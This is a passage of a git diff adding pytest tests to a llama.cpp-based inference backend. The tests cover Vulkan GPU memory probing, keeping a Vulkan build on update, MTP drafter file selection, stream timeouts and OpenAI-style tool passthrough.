backend._reasoning_style = "enable_thinking" + backend._supports_preserve_thinking = False + return backend + + +def test_stream_cancel_uses_internal_exception_not_generator_exit(): + class FakeResponse: + status_code = 200 + + def close(self): + pass + + class FakeStream: + def __enter__(self): + return FakeResponse() + + def __exit__(self, *_args): + return False + + class FakeClient: + def stream(self, *_args, **_kwargs): + return FakeStream() + + cancel_event = threading.Event() + + with pytest.raises(Exception) as exc_info: + with LlamaCppBackend._stream_with_retry( + FakeClient(), + "http://llama.test/v1/chat/completions", + {}, + cancel_event, + ): + cancel_event.set() + raise httpx.ReadError("client closed") + + assert exc_info.type is _LlamaStreamCancelled + assert not issubclass(exc_info.type, GeneratorExit) + + +def test_generate_chat_completion_swallows_internal_stream_cancel(monkeypatch): + backend = _backend_stub() + + @contextlib.contextmanager + def fake_open_stream(*_args, **_kwargs): + raise _LlamaStreamCancelled + + monkeypatch.setattr(backend, "_open_stream", fake_open_stream) + + chunks = list( + backend.generate_chat_completion( + [{"role": "user", "content": "hi"}], + cancel_event = threading.Event(), + ) + ) + + assert chunks == [] diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py index 5138e90471..f405ebcbd1 100644 --- a/studio/backend/tests/test_llama_cpp_update.py +++ b/studio/backend/tests/test_llama_cpp_update.py @@ -448,6 +448,48 @@ def test_start_update_happy_path(monkeypatch, tmp_path): assert popen_kwargs["env"]["UNSLOTH_PROGRESS_PERCENT_STEP"] == "5" +def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path): + # A Vulkan install (marker asset carries 'vulkan') must re-assert + # UNSLOTH_FORCE_VULKAN on update, or detect_host on a GPU box re-routes to + # CUDA/ROCm and silently replaces the Vulkan build. + install_dir = tmp_path / "llama.cpp" + binary = _write_install( + install_dir, + "b9493", + repo = "ggml-org/llama.cpp", + asset = "llama-b9493-bin-ubuntu-vulkan-x64.tar.gz", + ) + monkeypatch.setattr(upd, "_find_binary", lambda: binary) + monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + + def _on_start(cmd): + _write_install( + install_dir, + "b9518", + repo = "ggml-org/llama.cpp", + asset = "llama-b9518-bin-ubuntu-vulkan-x64.tar.gz", + ) + + popen_kwargs: dict = {} + _patch_installer_popen( + monkeypatch, + lines = ["installed\n"], + on_start = _on_start, + captured_kwargs = popen_kwargs, + ) + + assert upd.start_update()["started"] is True + deadline = time.time() + 10 + while time.time() < deadline: + job = upd.get_update_status()["job"] + if job["state"] in ("success", "error"): + break + time.sleep(0.05) + assert job["state"] == "success", job + assert popen_kwargs["env"]["UNSLOTH_FORCE_VULKAN"] == "1" + + def test_start_update_reports_full_release_tag(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9595") diff --git a/studio/backend/tests/test_llama_cpp_vulkan_probe.py b/studio/backend/tests/test_llama_cpp_vulkan_probe.py new file mode 100644 index 0000000000..92aaab4873 --- /dev/null +++ b/studio/backend/tests/test_llama_cpp_vulkan_probe.py @@ -0,0 +1,193 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Vulkan free-VRAM reader regression tests on a synthetic probe output. + +Covers the post-probe handling in +``LlamaCppBackend._get_gpu_free_memory_vulkan``: + + * integrated GPUs (probe reports is_igpu=1) leave a flat per-device host + margin matching llama.cpp's --fit-target, so context auto-sizing can't + over-commit shared RAM, and report total 0 (shared RAM is not a budget), + * discrete GPUs (is_igpu=0) keep their free untouched and pass their real + total through so the fit can reserve absolute headroom, + * an inherited ``GGML_VK_VISIBLE_DEVICES`` is passed through to ggml unchanged + (ggml applies it), not stripped or filtered in Python -- the probe reports + ggml's compact ordinal, which load_model pins with ``--device Vulkan``. + +The ggml Vulkan library is never loaded: subprocess.run is mocked to emit +the tab-separated lines the real ``_vulkan_probe.py`` would print. +""" + +from __future__ import annotations + +import subprocess +import sys +import types as _types +from pathlib import Path +from unittest import mock + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +import importlib as _importlib # noqa: E402 + + +def _maybe_stub(name: str, builder): + try: + _importlib.import_module(name) + except ImportError: + sys.modules[name] = builder() + + +def _build_loggers_stub(): + m = _types.ModuleType("loggers") + m.get_logger = lambda name: __import__("logging").getLogger(name) + return m + + +_maybe_stub("loggers", _build_loggers_stub) +_maybe_stub("structlog", lambda: _types.ModuleType("structlog")) + +from core.inference import llama_cpp as _llama_mod # noqa: E402 +from core.inference.llama_cpp import ( # noqa: E402 + LlamaCppBackend, + _llama_lib_dir, + _vulkan_lib_filename, +) + +MIB = 1024 * 1024 +GIB = 1024 * MIB + + +def _make_vulkan_install(tmp_path: Path) -> str: + """A binary whose sibling dir holds the Vulkan ggml lib, so the + reader's ``is_vulkan_backend`` sibling-file check passes.""" + bindir = tmp_path / "build" / "bin" + bindir.mkdir(parents = True) + binary = bindir / ("llama-server.exe" if sys.platform == "win32" else "llama-server") + binary.write_bytes(b"stub") + (bindir / _vulkan_lib_filename()).write_bytes(b"stub") + return str(binary) + + +def _mock_probe(rows: list[str], captured_env: dict | None = None): + """Patch subprocess.run so the _vulkan_probe.py call returns ``rows`` + (already tab-formatted), recording the env it was launched with.""" + real_run = subprocess.run + + def fake_run(cmd, *args, **kwargs): + if isinstance(cmd, list) and any("_vulkan_probe" in str(c) for c in cmd): + if captured_env is not None: + captured_env.clear() + captured_env.update(kwargs.get("env") or {}) + return subprocess.CompletedProcess( + args = cmd, returncode = 0, stdout = "\n".join(rows), stderr = "" + ) + return real_run(cmd, *args, **kwargs) + + return mock.patch("subprocess.run", side_effect = fake_run) + + +def _row( + idx: int, + free_bytes: int, + is_igpu: int, + total_bytes: int = 0, +) -> str: + return f"{idx}\t{free_bytes}\t{is_igpu}\t{total_bytes}" + + +def test_integrated_gpu_leaves_host_margin(tmp_path): + binary = _make_vulkan_install(tmp_path) + # iGPU with 30 GiB free; reserve a flat 1024 MiB (llama.cpp --fit-target). + # total stays 0: shared system RAM is not a VRAM budget for the fit. + rows = [_row(0, 30 * GIB, is_igpu = 1, total_bytes = 32 * GIB)] + with _mock_probe(rows): + gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert gpus == [(0, 30 * 1024 - 1024, 0)], gpus + + +def test_discrete_gpu_free_is_untouched_and_total_passed_through(tmp_path): + binary = _make_vulkan_install(tmp_path) + # 6 GiB free on a partially occupied 24 GiB card: free is untouched and the + # real total flows through so the fit reserves absolute headroom (CUDA/ROCm + # parity) instead of the looser free*frac budget. + rows = [_row(0, 6 * GIB, is_igpu = 0, total_bytes = 24 * GIB)] + with _mock_probe(rows): + gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert gpus == [(0, 6 * 1024, 24 * 1024)], gpus + + +def test_large_discrete_gpu_is_untouched(tmp_path): + binary = _make_vulkan_install(tmp_path) + # A 48 GiB discrete card stays untouched regardless of size; only the + # iGPU flag triggers the host margin, never a VRAM/RAM ratio. + rows = [_row(0, 47 * GIB, is_igpu = 0, total_bytes = 48 * GIB)] + with _mock_probe(rows): + gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert gpus == [(0, 47 * 1024, 48 * 1024)], gpus + + +def test_inherited_visible_devices_mask_is_passed_through_to_probe(tmp_path, monkeypatch): + # The mask is NOT stripped or filtered in Python: ggml parses it in raw + # physical-device space while this probe reports the compact post-filter + # ordinal, so mixing spaces would be wrong. It is passed through unchanged + # so ggml applies it to the same device list the launch will enumerate. + binary = _make_vulkan_install(tmp_path) + monkeypatch.setenv("GGML_VK_VISIBLE_DEVICES", "1") + captured: dict = {} + rows = [_row(0, 23 * GIB, is_igpu = 0, total_bytes = 24 * GIB)] + with _mock_probe(rows, captured_env = captured): + LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert captured.get("GGML_VK_VISIBLE_DEVICES") == "1", captured + + +def test_vulkan_pin_args_uses_device_names_not_env_mask(): + # Pin by compact device name via --device (the space the probe reports and + # the registry names), never by writing a compact ordinal into the raw + # GGML_VK_VISIBLE_DEVICES index space. + assert LlamaCppBackend._vulkan_pin_args([0]) == ["--device", "Vulkan0"] + assert LlamaCppBackend._vulkan_pin_args([1, 2]) == ["--device", "Vulkan1,Vulkan2"] + assert LlamaCppBackend._vulkan_pin_args(None) == [] + assert LlamaCppBackend._vulkan_pin_args([]) == [] + + +def test_vulkan_only_build_is_detected(tmp_path): + binary = _make_vulkan_install(tmp_path) + assert LlamaCppBackend._is_vulkan_backend(binary) is True + + +def test_multi_backend_build_is_not_vulkan_only(tmp_path): + # A custom build that ships CUDA (or HIP) alongside Vulkan must NOT be + # treated as Vulkan-only, or its CUDA GPU would be probed/pinned as a Vulkan + # device; defer to the CUDA/HIP path instead. + binary = _make_vulkan_install(tmp_path) + cuda = "ggml-cuda.dll" if sys.platform == "win32" else "libggml-cuda.so" + (_llama_lib_dir(binary) / cuda).write_bytes(b"stub") + assert LlamaCppBackend._is_vulkan_backend(binary) is False + + +@pytest.mark.skipif(sys.platform == "win32", reason = "shell wrapper fallback is POSIX") +def test_shell_wrapper_entrypoint_resolves_to_real_lib_dir(tmp_path): + # create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install root + # when it cannot symlink; _find_llama_server_binary returns that root entrypoint, + # so _llama_lib_dir must follow the wrapper's exec target to build/bin -- else + # _is_vulkan_backend misses libggml-vulkan.so and the Vulkan probe/pin silently + # never engage on a valid Vulkan install. + import os + + binary = _make_vulkan_install(tmp_path) # tmp_path/build/bin/llama-server + vulkan lib + bindir = Path(binary).parent + wrapper = tmp_path / "llama-server" + wrapper.write_text('#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n') + os.chmod(wrapper, 0o755) + assert _llama_lib_dir(str(wrapper)) == bindir + assert LlamaCppBackend._is_vulkan_backend(str(wrapper)) is True + + +if __name__ == "__main__": + raise SystemExit(pytest.main([__file__, "-v"])) diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py index 24866bd03e..b4666e3d18 100644 --- a/studio/backend/tests/test_llama_route_timeouts.py +++ b/studio/backend/tests/test_llama_route_timeouts.py @@ -203,3 +203,87 @@ def test_preheader_send_cleanup_on_disconnect_and_cancel(): asyncio.run(_run(False)) asyncio.run(_run(True)) + + +def test_stream_stall_timeout_callable_re_resolved_each_read(): + # The OpenAI passthrough passes a callable so the stall bound can switch to + # the short post-terminal grace mid-stream; it must be re-resolved per read, + # not captured once at generator start. + async def _run(): + response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}})) + values = iter([100.0, 2.0]) + seen = [] + + class _Request: + async def is_disconnected(self): + return False + + class _Items: + def __init__(self): + self.count = 0 + + async def __anext__(self): + self.count += 1 + if self.count > 3: + raise StopAsyncIteration + return "data: {}" + + async for _ in inf_mod._aiter_llama_stream_items( + _Items(), + cancel_event = threading.Event(), + request = _Request(), + response = response, + first_token_deadline = time.monotonic() + 1, + post_first_item_read_timeout_s = lambda: next(values, 5.0), + ): + seen.append(response.request.extensions["timeout"].get("read")) + + assert len(seen) == 3 + # The callable is resolved right after the first item (arming the + # post-first window) and again before each later read, consuming + # successive values. + assert seen[0] == 100.0 + assert 1.0 <= seen[1] <= 2.0 + assert 4.0 <= seen[2] <= 5.0 + + asyncio.run(_run()) + + +def test_stream_stall_timeout_disabled_clears_read_timeout(): + # UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT=0 disables the stall guard, so + # the callable returns None. Once a chunk has arrived the leftover + # first-token read timeout must be cleared, else a long post-first-chunk gap + # trips a stale deadline the operator asked to turn off. + async def _run(): + response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}})) + seen = [] + + class _Request: + async def is_disconnected(self): + return False + + class _Items: + def __init__(self): + self.count = 0 + + async def __anext__(self): + self.count += 1 + if self.count > 2: + raise StopAsyncIteration + return "data: {}" + + async for _ in inf_mod._aiter_llama_stream_items( + _Items(), + cancel_event = threading.Event(), + request = _Request(), + response = response, + first_token_deadline = time.monotonic() + 5, + post_first_item_read_timeout_s = lambda: None, + ): + seen.append(response.request.extensions["timeout"].get("read")) + + # The first-token path armed a finite read timeout; after the first chunk + # with the guard disabled, it is cleared to None on every subsequent read. + assert seen == [None, None], seen + + asyncio.run(_run()) diff --git a/studio/backend/tests/test_mtp_drafter_companion.py b/studio/backend/tests/test_mtp_drafter_companion.py index d5e8d13652..86e528ae67 100644 --- a/studio/backend/tests/test_mtp_drafter_companion.py +++ b/studio/backend/tests/test_mtp_drafter_companion.py @@ -23,7 +23,11 @@ if _BACKEND_DIR not in sys.path: from hub.utils.download_manifest import ExpectedFile from hub.utils.gguf import is_mtp_drafter_path -from hub.utils.gguf_plan import build_gguf_variant_plans, plan_from_expected_files +from hub.utils.gguf_plan import ( + build_gguf_variant_plans, + plan_from_expected_files, + preferred_mtp_sibling, +) from utils.models.model_config import ( _is_mtp_drafter, detect_gguf_model, @@ -37,6 +41,8 @@ from utils.models.model_config import ( DRAFTER_CASES = [ ("mtp-gemma-4-12b-it.gguf", True), ("MTP/gemma-4-12b-it-Q8_0-MTP.gguf", True), + # New-scheme MTP/ copies carry the mtp- basename prefix too. + ("MTP/mtp-gemma-4-E4B-it-BF16.gguf", True), ("foo/MTP/bar.gguf", True), ("gemma-4-12b-it-Q8_0.gguf", False), # Baked-in Qwen MTP repos: the head is inside the main GGUF, the file @@ -274,3 +280,178 @@ def test_detect_gguf_model_rejects_mtp_subdir_copy(tmp_path): assert detect_gguf_model(str(copy)) is None # Selecting the MTP dir itself must not surface the copies as models. assert detect_gguf_model(str(sub)) is None + + +# ── Root drafter wins over new-scheme MTP/ copies ──────────────────── +# The MTP/ copies were renamed to share the mtp- basename prefix (e.g. +# MTP/mtp-gemma-4-E4B-it-BF16.gguf). Auto-fetch/load must still resolve the +# small repo-root drafter, not a sort-first MTP/ copy (uppercase precedes +# lowercase, so the subdir path would otherwise win). + +NEW_SCHEME_SIBLINGS = [ + _sib("gemma-4-12b-it-Q4_K_M.gguf", 4_000, "main-q4"), + _sib("gemma-4-12b-it-Q8_0.gguf", 8_000, "main-q8"), + _sib("mtp-gemma-4-12b-it.gguf", 100, "drafter"), + _sib("MTP/mtp-gemma-4-12b-it-Q8_0.gguf", 100, "mtp-sub-q8"), + _sib("MTP/mtp-gemma-4-12b-it-BF16.gguf", 200, "mtp-sub-bf16"), + _sib("mmproj-F16.gguf", 500, "mmproj"), +] + + +def test_preferred_mtp_sibling_prefers_root_over_new_scheme_copies(): + picked = preferred_mtp_sibling(NEW_SCHEME_SIBLINGS) + assert picked is not None and picked.rfilename == "mtp-gemma-4-12b-it.gguf" + + +def test_variant_plans_new_scheme_uses_root_drafter(): + plans = build_gguf_variant_plans(NEW_SCHEME_SIBLINGS) + assert set(plans) == {"q4_k_m", "q8_0"} + for plan in plans.values(): + assert "mtp-gemma-4-12b-it.gguf" in plan.target_filenames + assert not any("MTP/" in name for name in plan.target_filenames) + assert "drafter" in plan.companion_hashes + # Download size = main + mmproj + root drafter (not the 200-byte BF16 copy). + assert plans["q4_k_m"].download_size_bytes == 4_600 + + +def test_download_mtp_prefers_root_over_new_scheme_copies(monkeypatch): + # _pick_mtp is nested; capture it via the companion-download seam. + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) # online: skip reuse probe + captured = {} + + def _fake_companion( + *, + hf_repo, + hf_token, + pick, + label, + cancel_event = None, + ): + captured["pick"] = pick + return None + + b = LlamaCppBackend() + b._download_companion_gguf = _fake_companion + b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + + repo_files = [ + "MTP/mtp-gemma-4-E4B-it-BF16.gguf", + "MTP/mtp-gemma-4-E4B-it-Q4_0.gguf", + "MTP/mtp-gemma-4-E4B-it-Q8_0.gguf", + "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf", + "mmproj-F16.gguf", + "mtp-gemma-4-E4B-it.gguf", + ] + assert captured["pick"](repo_files) == "mtp-gemma-4-E4B-it.gguf" + + +# ── Reuse an on-disk drafter offline; fetch fresh online ───────────── + + +def _seed_snapshot(tmp_path, names): + snap = tmp_path / "snap" + for rel in names: + f = snap / rel + f.parent.mkdir(parents = True, exist_ok = True) + f.write_bytes(b"x") + return snap + + +def test_download_mtp_reuses_cached_root_drafter_offline(tmp_path, monkeypatch): + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + snap = _seed_snapshot( + tmp_path, + [ + "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf", + "mtp-gemma-4-E4B-it.gguf", + "MTP/mtp-gemma-4-E4B-it-BF16.gguf", + "mmproj-F16.gguf", + ], + ) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf" + + +def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, monkeypatch): + # Pre-fix build may have fetched only the MTP/ copy; reuse it offline. + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + snap = _seed_snapshot( + tmp_path, + [ + "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf", + "MTP/mtp-gemma-4-E4B-it-BF16.gguf", + ], + ) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it-BF16.gguf" + + +def test_download_mtp_prefers_root_across_snapshots_offline(tmp_path, monkeypatch): + # A newer partial snapshot holds only the MTP/ copy; an older one has the + # root. Must still return the small root, not the large subdir copy. + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + snap_partial = _seed_snapshot(tmp_path / "new", ["MTP/mtp-gemma-4-E4B-it-BF16.gguf"]) + snap_full = _seed_snapshot(tmp_path / "old", ["mtp-gemma-4-E4B-it.gguf"]) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf" + + +def test_download_mtp_reuse_follows_snapshot_order_offline(tmp_path, monkeypatch): + # Two snapshots both hold a root drafter; newest-first order must win so a + # fresh main GGUF is not paired with a stale drafter revision. + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + newest = _seed_snapshot(tmp_path / "newest", ["mtp-gemma-4-E4B-it.gguf"]) + oldest = _seed_snapshot(tmp_path / "oldest", ["mtp-gemma-4-E4B-it.gguf"]) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [newest, oldest]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).parent.parent.name == "newest" + + +def test_download_mtp_online_skips_cache_reuse(tmp_path, monkeypatch): + # Online, do not reuse a cached copy: go to the download path so a changed + # drafter is refetched (hf_hub_download checks the current revision). + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + snap = _seed_snapshot(tmp_path, ["mtp-gemma-4-E4B-it.gguf"]) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) + + reached = {} + + def _fake_companion( + *, + hf_repo, + hf_token, + pick, + label, + cancel_event = None, + ): + reached["hit"] = True + return None + + b = LlamaCppBackend() + b._download_companion_gguf = _fake_companion + assert b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") is None + assert reached.get("hit") is True diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py index 05e017ba7f..10cbd2aa01 100644 --- a/studio/backend/tests/test_openai_tool_passthrough.py +++ b/studio/backend/tests/test_openai_tool_passthrough.py @@ -8,6 +8,7 @@ import sys import asyncio import json import threading +import time from types import SimpleNamespace _backend = os.path.join(os.path.dirname(__file__), "..") @@ -30,6 +31,7 @@ from core.inference.anthropic_compat import ( ) from core.inference.api_monitor import ApiMonitor from routes.inference import ( + _aclose_stream_resources, _build_chat_request, _build_openai_passthrough_body, _build_passthrough_payload, @@ -38,24 +40,58 @@ from routes.inference import ( _coalesce_consecutive_user_turns, _drop_empty_assistant_sentinels, _effective_max_tokens, + _effective_openai_max_tokens, + _effective_openai_max_tokens_from_values, _extract_content_parts, _friendly_error, _friendly_upstream_error, _merge_user_content, _monitor_openai_chunk, _monitor_openai_sse_event, + _normalize_openai_passthrough_sse_line, + _openai_compat_stream_stall_timeout, _openai_messages_for_gguf_chat, + _openai_passthrough_sse_line_terminal_state, + _openai_passthrough_upstream_headers, _openai_passthrough_non_streaming, _openai_passthrough_stream, + _openai_stream_error_sse, _openai_stream_usage_chunk, _proxy_to_external_provider, _SameTaskStreamingResponse, + _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, _set_or_prepend_system_message, openai_completions, openai_embeddings, openai_chat_completions, ) -from state.tool_policy import reset_tool_policy +from state.tool_policy import reset_tool_policy, set_tool_policy + + +def test_aclose_stream_resources_attempts_remaining_closes_after_cancel(): + class Closeable: + def __init__(self, *, cancel = False): + self.cancel = cancel + self.closed = False + + async def aclose(self): + self.closed = True + if self.cancel: + raise asyncio.CancelledError() + + async def _run(): + iterator = Closeable(cancel = True) + resp = Closeable() + client = Closeable() + + with pytest.raises(asyncio.CancelledError): + await _aclose_stream_resources(iterator = iterator, resp = resp, client = client) + + assert iterator.closed + assert resp.closed + assert client.closed + + asyncio.run(_run()) class TestFriendlyUpstreamError: @@ -548,6 +584,263 @@ class TestChatCompletionRequestToolFields: assert "n > 1 is not supported" in entry["error"] assert monitor.active_count() == 0 + def test_client_tools_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch): + import routes.inference as inference_route + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + is_vision = False + _is_audio = False + context_length = 4096 + + def generate_chat_completion(self, **_kwargs): + raise AssertionError("client tools must not fall through to the standard GGUF path") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "hi"}], + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + }, + ) + + self._assert_unsupported_param(resp, "tools") + assert "does not advertise tools" in resp.json()["error"]["message"] + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "does not advertise tools" in entry["error"] + assert monitor.active_count() == 0 + + def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled(self, monkeypatch): + import routes.inference as inference_route + + captured = {} + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + supports_tool_passthrough = True + is_vision = False + _is_audio = False + context_length = 4096 + base_url = "http://llama.passthrough-capability.test" + _request_reasoning_kwargs = lambda *_args, **_kwargs: None + + def generate_chat_completion(self, **_kwargs): + raise AssertionError("client tools must use passthrough") + + def generate_chat_completion_with_tools(self, **_kwargs): + raise AssertionError("Studio tool loop must stay disabled") + + async def fake_passthrough(llama_backend, payload, model_name, **kwargs): + captured["body"] = inference_route._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + inference_route.api_monitor.finish(kwargs.get("monitor_id")) + return inference_route.JSONResponse({"ok": True, "model": model_name}) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + monkeypatch.setattr( + inference_route, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "use client tool"}], + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + }, + ) + + assert resp.status_code == 200 + assert resp.json()["ok"] is True + assert captured["body"]["tools"][0]["function"]["name"] == "lookup" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch): + # DiffusionGemma forces supports_tools off while passthrough stays + # available (#6851): enable_tools=True must not steal client tools + # from the passthrough into a Studio tool loop that cannot run. + import routes.inference as inference_route + + captured = {} + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + supports_tool_passthrough = True + is_vision = False + _is_audio = False + context_length = 4096 + base_url = "http://llama.passthrough-capability.test" + _request_reasoning_kwargs = lambda *_args, **_kwargs: None + + def generate_chat_completion(self, **_kwargs): + raise AssertionError("client tools must use passthrough") + + def generate_chat_completion_with_tools(self, **_kwargs): + raise AssertionError("Studio tool loop cannot run on a non-tool backend") + + async def fake_passthrough(llama_backend, payload, model_name, **kwargs): + captured["body"] = inference_route._build_openai_passthrough_body( + payload, + backend_ctx = llama_backend.context_length, + llama_backend = llama_backend, + ) + inference_route.api_monitor.finish(kwargs.get("monitor_id")) + return inference_route.JSONResponse({"ok": True, "model": model_name}) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + monkeypatch.setattr( + inference_route, + "_openai_passthrough_non_streaming", + fake_passthrough, + ) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "use client tool"}], + "enable_tools": True, + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + }, + ) + + assert resp.status_code == 200 + assert resp.json()["ok"] is True + assert captured["body"]["tools"][0]["function"]["name"] == "lookup" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert monitor.active_count() == 0 + + def test_tool_choice_none_allows_tool_catalog_without_tool_template(self, monkeypatch): + import routes.inference as inference_route + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + is_vision = False + _is_audio = False + context_length = 4096 + + def generate_chat_completion(self, **kwargs): + assert kwargs["max_tokens"] is None + yield "plain response" + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [{"role": "user", "content": "hi"}], + "tools": [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object"}, + }, + } + ], + "tool_choice": "none", + }, + ) + + assert resp.status_code == 200 + assert resp.json()["choices"][0]["message"]["content"] == "plain response" + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + assert entry["reply"] == "plain response" + assert monitor.active_count() == 0 + + def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch): + import routes.inference as inference_route + + class _GGUFBackend: + is_loaded = True + model_identifier = "test-gguf" + supports_tools = False + is_vision = False + _is_audio = False + context_length = 4096 + + def generate_chat_completion(self, **_kwargs): + raise AssertionError( + "tool-call history must not fall through to the standard GGUF path" + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inference_route, "api_monitor", monitor) + client = self._v1_client(monkeypatch, _GGUFBackend()) + resp = client.post( + "/v1/chat/completions", + json = { + "messages": [ + {"role": "user", "content": "use a tool"}, + { + "role": "assistant", + "content": None, + "tool_calls": [ + { + "id": "call_1", + "type": "function", + "function": {"name": "lookup", "arguments": "{}"}, + } + ], + }, + {"role": "tool", "tool_call_id": "call_1", "content": "{}"}, + ], + }, + ) + + self._assert_unsupported_param(resp, "messages") + assert "does not advertise tools" in resp.json()["error"]["message"] + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "does not advertise tools" in entry["error"] + assert monitor.active_count() == 0 + def test_n_rejected_for_non_gguf_path(self, monkeypatch): class _NoGGUFBackend: is_loaded = False @@ -748,11 +1041,32 @@ class TestBuildPassthroughPayloadToolChoice: ) assert body.get("stream_options") == {"include_usage": False} + def test_response_format_without_tools_omits_tool_fields(self): + args = self._args() + args["openai_tools"] = None + + body = _build_passthrough_payload( + **args, + response_format = {"type": "json_object"}, + ) + + assert body["response_format"] == {"type": "json_object"} + assert "tools" not in body + assert "tool_choice" not in body + def test_repetition_penalty_renamed(self): body = _build_passthrough_payload(**self._args(), repetition_penalty = 1.1) assert body.get("repeat_penalty") == 1.1 assert "repetition_penalty" not in body + def test_omitted_passthrough_max_tokens_uses_backend_context(self): + args = self._args() + args["max_tokens"] = None + + body = _build_passthrough_payload(**args, backend_ctx = 4096) + + assert body["max_tokens"] == 4096 + def test_passthrough_body_merges_system_and_developer_messages(self): payload = ChatCompletionRequest( model = "default", @@ -772,6 +1086,74 @@ class TestBuildPassthroughPayloadToolChoice: ] +class TestOpenAIPassthroughSSETerminalState: + def test_done_sentinel(self): + assert 